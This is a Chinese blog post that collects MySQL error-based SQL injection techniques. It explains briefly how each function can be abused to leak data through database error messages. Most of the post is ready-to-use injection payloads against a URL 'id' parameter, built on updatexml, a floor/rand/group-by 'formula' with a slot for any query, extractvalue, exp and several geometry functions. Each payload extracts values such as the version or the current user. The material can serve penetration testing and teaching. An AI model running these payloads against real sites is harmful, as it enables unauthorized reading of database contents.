mysql显错注入

整理一下那些报错注入的函数吧

报错注入的前提条件:

1
2
一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,
它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解

updatexml

updatexml(xml_document,xpath_string,new_value);
第一个参数:xml_documnet是String格式,为XML文档对象的名称,文中为Doc。
第二个参数:xpath_string(xpath格式的字符串),如果不了解xpath语法,可以在网上查找教程。
第三个参数:new_value,string格式,替换查找到的符合条件的数据。

然后咋们再看看语句:

1
http://www.XXXIII.com/a.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

concat(str1,str2,...)
返回结果为连接参数产生的字符串。如有任何一个参数为null,则返回值为null。

通过查询@@version,返回版本。然后concat将其字符串化。因为updatexml第二个参数需要xpath格式的字符串,所以不符合要求,然后报错。

错误大概会是:

1
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


floor

利用方式:

1
2
3
4
count(*)、rand()、group by三者缺一不可
报错注入用一个公式,只要套用公式即可,公式如下:
?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (爆错语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a
)--+

公式解析:

1
2
3
4
5
6
7
8
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1
在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次



如下:

1
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

extractvalue

1
id = 1 and (extractvalue(1, concat(0x5c,(select user()))))



exp

1
id =1 and EXP(~(SELECT * from(select user())a))

其他

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))
multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. updatexml
  2. 2. floor
  3. 3. extractvalue
  4. 4. exp
  5. 5. 其他
,